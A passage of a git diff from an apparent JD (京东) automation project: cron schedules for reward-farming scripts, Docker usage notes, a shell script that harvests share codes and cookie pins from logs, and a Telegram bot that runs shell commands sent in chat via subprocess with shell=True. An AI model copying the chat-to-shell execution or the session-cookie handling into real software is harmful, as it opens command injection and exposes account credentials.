/scripts/jd_kd.js >> /scripts/logs/jd_kd.log 2>&1 +# 京东汽车(签到满500赛点可兑换500京豆) +0 0 * * * node /scripts/jd_car.js >> /scripts/logs/jd_car.log 2>&1 +# 领京豆额外奖励(每日可获得3京豆) +33 4 * * * node /scripts/jd_bean_home.js >> /scripts/logs/jd_bean_home.log 2>&1 +# 微信小程序京东赚赚 +10 11 * * * node /scripts/jd_jdzz.js >> /scripts/logs/jd_jdzz.log 2>&1 +# 宠汪汪邀请助力 +10 9-20/2 * * * node /scripts/jd_joy_run.js >> /scripts/logs/jd_joy_run.log 2>&1 +# crazyJoy自动每日任务 +10 7 * * * node /scripts/jd_crazy_joy.js >> /scripts/logs/jd_crazy_joy.log 2>&1 +# 京东汽车旅程赛点兑换金豆 +0 0 * * * node /scripts/jd_car_exchange.js >> /scripts/logs/jd_car_exchange.log 2>&1 +# 导到所有互助码 +47 7 * * * node /scripts/jd_get_share_code.js >> /scripts/logs/jd_get_share_code.log 2>&1 +# 口袋书店 +7 8,12,18 * * * node /scripts/jd_bookshop.js >> /scripts/logs/jd_bookshop.log 2>&1 +# 京喜农场 +0 9,12,18 * * * node /scripts/jd_jxnc.js >> /scripts/logs/jd_jxnc.log 2>&1 +# 签到领现金 +27 */4 * * * node /scripts/jd_cash.js >> /scripts/logs/jd_cash.log 2>&1 +# 京喜app签到 +39 7 * * * node /scripts/jx_sign.js >> /scripts/logs/jx_sign.log 2>&1 +# 京东家庭号(暂不知最佳cron) +# */20 * * * * node /scripts/jd_family.js >> /scripts/logs/jd_family.log 2>&1 +# 闪购盲盒 +27 8 * * * node /scripts/jd_sgmh.js >> /scripts/logs/jd_sgmh.log 2>&1 +# 京东秒秒币 +10 7 * * * node /scripts/jd_ms.js >> /scripts/logs/jd_ms.log 2>&1 +#美丽研究院 +1 7,12,19 * * * node /scripts/jd_beauty.js >> /scripts/logs/jd_beauty.log 2>&1 +#京东保价 +1 0,23 * * * node /scripts/jd_price.js >> /scripts/logs/jd_price.log 2>&1 +#京东极速版签到+赚现金任务 +1 1,6 * * * node /scripts/jd_speed_sign.js >> /scripts/logs/jd_speed_sign.log 2>&1 +# 删除优惠券(默认注释,如需要自己开启,如有误删,已删除的券可以在回收站中还原,慎用) +#20 9 * * 6 node /scripts/jd_delCoupon.js >> /scripts/logs/jd_delCoupon.log 2>&1 +``` +> 定时任务命之后,也就是 `>>` 符号之前加上 `|ts` 可在日志每一行前面显示时间,如下图: +> ![image](https://user-images.githubusercontent.com/6993269/99031839-09e04b00-25b3-11eb-8e47-0b6515a282bb.png) +- 目录文件配置好之后在 `jd_scripts`目录执行。 + `docker-compose up -d` 启动(修改docker-compose.yml后需要使用此命令使更改生效); + `docker-compose logs` 打印日志; + `docker-compose logs -f` 打印日志,-f表示跟随日志; + `docker logs -f jd_scripts` 和上面两条相比可以显示汉字; + `docker-compose pull` 更新镜像;多容器用户推荐使用`docker pull lxk0301/jd_scripts`; + `docker-compose stop` 停止容器; + `docker-compose restart` 重启容器; + `docker-compose down` 停止并删除容器; + +- 你可能会用到的命令 + + `docker exec -it jd_scripts /bin/sh -c ". /scripts/docker/auto_help.sh export > /scripts/logs/auto_help_export.log && node /scripts/xxxx.js |ts >> /scripts/logs/xxxx.log 2>&1"` 手动运行一脚本(有自动助力) + + `docker exec -it jd_scripts /bin/sh -c "node /scripts/xxxx.js |ts >> /scripts/logs/xxxx.log 2>&1"` 手动运行一脚本(无自动助力) + + `docker exec -it jd_scripts /bin/sh -c 'env'` 查看设置的环境变量 + + `docker exec -it jd_scripts /bin/sh -c 'crontab -l'` 查看已生效的crontab_list定时器任务 + + `docker exec -it jd_scripts sh -c "git pull"` 手动更新jd_scripts仓库最新脚本(默认已有每天拉取两次的定时任务,不推荐使用) + + `docker exec -it jd_scripts /bin/sh` 仅进入容器命令 + + `rm -rf logs/*.log` 删除logs文件夹里面所有的日志文件(linux) + + `docker exec -it jd_scripts /bin/sh -c ' ls jd_*.js | grep -v jd_crazy_joy_coin.js |xargs -i node {}'` 执行所有定时任务 + +- 如果是群晖用户,在docker注册表搜`jd_scripts`,双击下载映像。 +不需要`docker-compose.yml`,只需建个logs/目录,调整`jd_scripts.syno.json`里面对应的配置值,然后导入json配置新建容器。 +若要自定义`my_crontab_list.sh`,再建个`my_crontab_list.sh`文件,配置参考`jd_scripts.my_crontab_list.syno.json`。 +![image](../icon/qh1.png) + +![image](../icon/qh2.png) + +![image](../icon/qh3.png) + +### DOCKER专属环境变量 + +| Name | 归属 | 属性 | 说明 | +| :---------------: | :------------: | :----: | ------------------------------------------------------------ | +| `CRZAY_JOY_COIN_ENABLE` | 是否jd_crazy_joy_coin挂机 | 非必须 | `docker-compose.yml`文件下填写`CRZAY_JOY_COIN_ENABLE=Y`表示挂机,`CRZAY_JOY_COIN_ENABLE=N`表不挂机 | +| `DO_NOT_RUN_SCRIPTS` | 不执行的脚本 | 非必须 | 例:`docker-compose.yml`文件里面填写`DO_NOT_RUN_SCRIPTS=jd_family.js&jd_dreamFactory.js&jd_jxnc.js`, 建议填写完整脚本名,不完整的文件名可能导致其他脚本被禁用 | +| `ENABLE_AUTO_HELP` | 单容器多账号自动互助 | 非必须 | 例:`docker-compose.yml`文件里面填写`ENABLE_AUTO_HELP=true` | diff --git a/docker/auto_help.sh b/docker/auto_help.sh new file mode 100644 index 0000000..5c29885 --- /dev/null +++ b/docker/auto_help.sh @@ -0,0 +1,155 @@ +#set -e + +#日志路径 +logDir="/scripts/logs" + +# 处理后的log文件 +logFile=${logDir}/sharecodeCollection.log +if [ -n "$1" ]; then + parameter=${1} +else + echo "没有参数" +fi + +# 收集助力码 +collectSharecode() { + if [ -f ${2} ]; then + echo "${1}:清理 ${preLogFile} 中的旧助力码,收集新助力码" + + #删除预处理旧助力码 + if [ -f "${logFile}" ]; then + sed -i '/'"${1}"'/d' ${logFile} + fi + + #收集日志中的互助码 + codes="$(sed -n '/'${1}'.*/'p ${2} | sed 's/京东账号/京东账号 /g' | sed 's/(/ (/g' | sed 's/】/】 /g' | awk '{print $4,$5,$6,$7}' | sort -gk2 | awk '!a[$2" "$3]++{print}')" + + #获取ck文件夹中的pin值集合 + if [ -f "/usr/local/bin/spnode" ]; then + ptpins="$(awk -F "=" '{print $3}' $COOKIES_LIST | awk -F ";" '{print $1}')" + else + ptpins="$(echo $JD_COOKIE | sed "s/[ &]/\\n/g" | sed "/^$/d" | awk -F "=" '{print $3}' | awk -F ";" '{print $1}')" + fi + + + #遍历pt_pin值 + for item in $ptpins; do + #中文pin解码 + if [ ${#item} > 20 ]; then + item="$(printf $(echo -n "$item" | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')"\n")" + fi + #根据pin值匹配第一个code结果输出到文件中 + echo "$codes" | grep -m1 $item >> $logFile + done + else + echo "${1}:${2} 文件不存在,不清理 ${logFile} 中的旧助力码" + fi + +} + +# 导出助力码 +exportSharecode() { + if [ -f ${logFile} ]; then + #账号数 + cookiecount=$(echo ${JD_COOKIE} | grep -o pt_key | grep -c pt_key) + if [ -f /usr/local/bin/spnode ]; then + cookiecount=$(cat "$COOKIES_LIST" | grep -o pt_key | grep -c pt_key) + fi + echo "cookie个数:${cookiecount}" + + # 单个账号助力码 + singleSharecode=$(sed -n '/'${1}'.*/'p ${logFile} | awk '{print $4}' | awk '{T=T"@"$1} END {print T}' | awk '{print substr($1,2)}') + # | awk '{print $2,$4}' | sort -g | uniq + # echo "singleSharecode:${singleSharecode}" + + # 拼接多个账号助力码 + num=1 + while [ ${num} -le ${cookiecount} ]; do + local allSharecode=${allSharecode}"&"${singleSharecode} + num=$(expr $num + 1) + done + + allSharecode=$(echo ${allSharecode} | awk '{print substr($1,2)}') + + # echo "${1}:${allSharecode}" + + #判断合成的助力码长度是否大于账号数,不大于,则可知没有助力码 + if [ ${#allSharecode} -gt ${cookiecount} ]; then + echo "${1}:导出助力码" + echo "${3}=${allSharecode}" + export ${3}=${allSharecode} + else + echo "${1}:没有助力码,不导出" + fi + + else + echo "${1}:${logFile} 不存在,不导出助力码" + fi + +} + +#生成助力码 +autoHelp() { + if [ ${parameter} == "collect" ]; then + + # echo "收集助力码" + collectSharecode ${1} ${2} ${3} + + elif [ ${parameter} == "export" ]; then + + # echo "导出助力码" + exportSharecode ${1} ${2} ${3} + fi +} + +#日志需要为这种格式才能自动提取 +#Mar 07 00:15:10 【京东账号1(xxxxxx)的京喜财富岛好友互助码】3B41B250C4A369EE6DCA6834880C0FE0624BAFD83FC03CA26F8DEC7DB95D658C + +#新增自动助力活动格式 +# autoHelp 关键词 日志路径 变量名 + +############# 短期活动 ############# + + +############# 长期活动 ############# + +#东东农场 +autoHelp "东东农场好友互助码" "${logDir}/jd_fruit.log" "FRUITSHARECODES" + +#东东萌宠 +autoHelp "东东萌宠好友互助码" "${logDir}/jd_pet.log" "PETSHARECODES" + +#种豆得豆 +autoHelp "京东种豆得豆好友互助码" "${logDir}/jd_plantBean.log" "PLANT_BEAN_SHARECODES" + +#京喜工厂 +autoHelp "京喜工厂好友互助码" "${logDir}/jd_dreamFactory.log" "DREAM_FACTORY_SHARE_CODES" + +#东东工厂 +autoHelp "东东工厂好友互助码" "${logDir}/jd_jdfactory.log" "DDFACTORY_SHARECODES" + +#crazyJoy +autoHelp "crazyJoy任务好友互助码" "${logDir}/jd_crazy_joy.log" "JDJOY_SHARECODES" + +#京喜财富岛 +autoHelp "京喜财富岛好友互助码" "${logDir}/jd_cfd.log" "JDCFD_SHARECODES" + +#京喜农场 +autoHelp "京喜农场好友互助码" "${logDir}/jd_jxnc.log" "JXNC_SHARECODES" + +#京东赚赚 +autoHelp "京东赚赚好友互助码" "${logDir}/jd_jdzz.log" "JDZZ_SHARECODES" + +######### 日志打印格式需调整 ######### + +#口袋书店 +autoHelp "口袋书店好友互助码" "${logDir}/jd_bookshop.log" "BOOKSHOP_SHARECODES" + +#领现金 +autoHelp "签到领现金好友互助码" "${logDir}/jd_cash.log" "JD_CASH_SHARECODES" + +#闪购盲盒 +autoHelp "闪购盲盒好友互助码" "${logDir}/jd_sgmh.log" "JDSGMH_SHARECODES" + +#东东健康社区 +autoHelp "东东健康社区好友互助码" "${logDir}/jd_health.log" "JDHEALTH_SHARECODES" diff --git a/docker/bot/jd.png b/docker/bot/jd.png new file mode 100644 index 0000000..c948dad Binary files /dev/null and b/docker/bot/jd.png differ diff --git a/docker/bot/jd_bot b/docker/bot/jd_bot new file mode 100644 index 0000000..9b818f1 --- /dev/null +++ b/docker/bot/jd_bot @@ -0,0 +1,1114 @@ +# -*- coding: utf-8 -*- +# @Author : iouAkira(lof) +# @mail : e.akimoto.akira@gmail.com +# @CreateTime: 2020-11-02 +# @UpdateTime: 2021-03-23 + +import math +import os +import subprocess +from subprocess import TimeoutExpired +from MyQR import myqr +import requests +import time +import logging +import re +from urllib.parse import quote, unquote + +import telegram.utils.helpers as helpers +from telegram import InlineKeyboardButton, InlineKeyboardMarkup, ParseMode +from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackQueryHandler + +# 启用日志 +logging.basicConfig(format='%(asctime)s-%(name)s-%(levelname)s=> [%(funcName)s] %(message)s ', level=logging.INFO) +logger = logging.getLogger(__name__) + +_base_dir = '/scripts/' +_logs_dir = '%slogs/' % _base_dir +_docker_dir = '%sdocker/' % _base_dir +_bot_dir = '%sbot/' % _docker_dir +_share_code_conf = '%scode_gen_conf.list' % _logs_dir + +if 'GEN_CODE_CONF' in os.environ: + share_code_conf = os.getenv("GEN_CODE_CONF") + if share_code_conf.startswith("/"): + _share_code_conf = share_code_conf + + +def start(update, context): + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + spnode_readme = "" + if "DISABLE_SPNODE" not in os.environ: + spnode_readme = "/spnode 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js)\n\n" \ + "使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.list即可\n" \ + "使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.list的cookies执行脚本,定时任务也将自动替换为spnode命令执行\n" \ + "spnode功能概述示例\n\n" \ + "spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发\n" \ + "spnode 1 /scripts/jd_bean_change.js 为logs/cookies.list文件里面第一行cookie账户单独执行jd_bean_change脚本\n" \ + "spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.list文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本\n" \ + "spnode /scripts/jd_bean_change.js 为logs/cookies.list所有cookies账户一起执行jd_bean_change脚本\n" \ + "请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。\n" \ + "如需____停用___请配置环境变量 -DISABLE_SPNODE=True" + context.bot.send_message(chat_id=update.effective_chat.id, + text="限制自己使用的JD Scripts拓展机器人\n" \ + "\n" \ + "/start 开始并获取指令说明\n" \ + "/node 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/node /scripts/jd_818.js) \n" \ + "/git 获取可执行git指令列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/git -C /scripts/ pull)\n" \ + "/logs 获取logs下的日志文件列表,选择对应名字可以下载日志文件\n" \ + "/env 获取系统环境变量列表。(拓展使用:设置系统环境变量,例:/env export JD_DEBUG=true,环境变量只针对当前bot进程生效) \n" \ + "/cmd 执行执行命令。参考:/cmd ls -l 涉及目录文件操作请使用绝对路径,部分shell命令开放使用\n" \ + "/gen_long_code 长期活动互助码提交消息生成\n" \ + "/gen_temp_code 短期临时活动互助码提交消息生成\n" \ + "/gen_daily_code 每天变化互助码活动提交消息生成\n\n%s" % spnode_readme) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def node(update, context): + """关于定时任务中nodejs脚本的相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/node') + if len(commands) > 0: + cmd = 'node %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=3600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, 'node', os.path.splitext(commands[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + reply_markup = get_reply_markup_btn('node') + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的nodejs脚本 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def spnode(update, context): + """关于定时任务中nodejs脚本的相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/spnode') + if len(commands) > 0: + cmd = 'spnode %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + file_name = re.split(r"\W+", cmd) + if 'js' in file_name: + file_name.remove('js') + log_name = '%sbot_%s_%s.log' % (_logs_dir, 'spnode', file_name[-1]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + reply_markup = get_reply_markup_btn('spnode') + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的nodejs脚本 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def git(update, context): + """关于/scripts仓库的git相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/git') + if len(commands) > 0: + cmd = 'git %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, 'git', os.path.splitext(commands[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + + else: + reply_markup = get_reply_markup_btn('git') + + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的git指令 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def env(update, context): + """env 环境变量相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/env') + if len(commands) == 2 and (commands[0]) == 'export': + + try: + envs = commands[1].split('=') + os.putenv(envs[0], envs[1]) + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ 环境变量设置成功 ↓↓↓ \n\n%s ' % ('='.join(envs)))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + ' '.join(commands)))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + + elif len(commands) == 0: + out_bytes = subprocess.check_output( + 'env', shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % 'env')), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s.log' % (_logs_dir, 'env') + + with open(log_name, 'a+') as wf: + wf.write(out_text + '\n\n') + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ env 执行结果 ↓↓↓ \n\n%s ' % out_text)), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + else: + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' →→→ env 指令不正确,请参考说明输入 ←←← ')), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def crontab(update, context): + """关于crontab 定时任务相关操作 + """ + reply_markup = get_reply_markup_btn('crontab_l') + + if is_admin(update.message.from_user.id): + try: + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 下面为定时任务列表,请选择需要的操作 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + except: + raise + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def logs(update, context): + """关于_logs_dir目录日志文件的相关操作 + """ + reply_markup = get_reply_markup_btn('logs') + + if is_admin(update.message.from_user.id): + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想想要下载的日志文件或者清除所有日志 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def callback_run(update, context): + """执行按钮响应回调方法处理按钮点击事件 + """ + query = update.callback_query + select_btn_type = query.data.split()[0] + chat = query.message.chat + logger.info("callback query.message.chat ==> %s " % chat) + logger.info("callback query.data ==> %s " % query.data) + if select_btn_type == 'node' or select_btn_type == 'spnode' or select_btn_type == 'git': + try: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 任务正在执行 ↓↓↓ \n\n%s' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + out_bytes = subprocess.check_output( + query.data, shell=True, timeout=600, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + if len(out_text.split()) > 50: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, select_btn_type, os.path.splitext(query.data.split('/')[-1])[0]) + logger.info('log_name==>' + log_name) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + query.message.reply_document( + reply_to_message_id=query.message.message_id, quote=True, document=open(log_name, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (query.data, out_text))), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + except TimeoutExpired: + logger.error(' →→→ %s 执行超时 ←←← ' % query.data) + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行超时 ←←← ' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行出错 ←←← ' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + raise + elif select_btn_type.startswith('cl'): + if select_btn_type == 'cl': + logger.info(f'crontab_l ==> {query.data.split()[1:]}') + reply_markup = InlineKeyboardMarkup([ + [InlineKeyboardButton( + ' '.join(query.data.split()[1:]), callback_data='pass')], + [InlineKeyboardButton('⚡️执行', callback_data='cle %s' % ' '.join(query.data.split()[1:])), + InlineKeyboardButton('❌删除', callback_data='cld %s' % ' '.join(query.data.split()[1:]))] + ]) + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 请选择对该定时任务的操作 ↓↓↓ '), + chat_id=query.message.chat_id, + reply_markup=reply_markup, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + elif select_btn_type == 'cle': + cmd = ' '.join(query.data.split()[6:]) + try: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 任务正在执行 ↓↓↓ \n\n%s' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + out_bytes = subprocess.check_output(cmd, shell=True, timeout=600, + stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + if len(out_text.split()) > 50: + + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, select_btn_type, os.path.splitext(cmd.split('/')[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + query.message.reply_document( + reply_to_message_id=query.message.message_id, quote=True, document=open(log_name, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + except TimeoutExpired: + logger.error(' →→→ %s 执行超时 ←←← ' % ' '.join(cmd[6:])) + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行超时 ←←← ' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行出错 ←←← ' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + raise + elif select_btn_type == 'cld': + query.answer(text='删除任务功能暂未实现', show_alert=True) + + elif select_btn_type == 'logs': + log_file = query.data.split()[-1] + if log_file == 'clear': + cmd = 'rm -rf %s*.log' % _logs_dir + try: + subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + context.bot.edit_message_text(text='```{}```'.format(' →→→ 日志文件已清除 ←←← '), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown( + ' →→→ 清除日志执行出错 ←←← ')), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 下面为下载的%s文件 ↓↓↓ ' % select_btn_type), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + + query.message.reply_document(reply_to_message_id=query.message.message_id, quote=True, + document=open(log_file, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format(' →→→ 操作已取消 ←←← '), chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + + +def get_reply_markup_btn(cmd_type): + """因为编辑后也可能会需要到重新读取按钮,所以抽出来作为一个方法返回按钮list + + Returns + ------- + 返回一个对应命令类型按钮列表,方便读取 + """ + if cmd_type == 'logs': + keyboard_line = [] + logs_list = get_dir_file_list(_logs_dir, 'log') + if (len(logs_list)) > 0: + file_list = list(set(get_dir_file_list(_logs_dir, 'log'))) + file_list.sort() + for i in range(math.ceil(len(file_list) / 2)): + ret = file_list[0:2] + keyboard_column = [] + for ii in ret: + keyboard_column.append(InlineKeyboardButton( + ii.split('/')[-1], callback_data='logs %s' % ii)) + file_list.remove(ii) + keyboard_line.append(keyboard_column) + + keyboard_line.append([InlineKeyboardButton('清除日志', callback_data='logs clear'), + InlineKeyboardButton('取消操作', callback_data='cancel')]) + else: + keyboard_line.append([InlineKeyboardButton( + '未找到相关日志文件', callback_data='cancel')]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'crontab_l': + button_list = list(set(get_crontab_list(cmd_type))) + keyboard_line = [] + if len(button_list) > 0: + for i in button_list: + keyboard_column = [InlineKeyboardButton( + i, callback_data='cl %s' % i)] + + button_list.remove(i) + keyboard_line.append(keyboard_column) + keyboard_line.append( + [InlineKeyboardButton('取消操作', callback_data='cancel')]) + else: + keyboard_line.append([InlineKeyboardButton( + '未从%s获取到任务列表' % crontab_list_file, callback_data='cancel')]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'node' or cmd_type == 'spnode': + button_list = list(set(get_crontab_list(cmd_type))) + button_list.sort() + keyboard_line = [] + for i in range(math.ceil(len(button_list) / 2)): + ret = button_list[0:2] + keyboard_column = [] + for ii in ret: + keyboard_column.append(InlineKeyboardButton( + ii.split('/')[-1], callback_data=ii)) + button_list.remove(ii) + 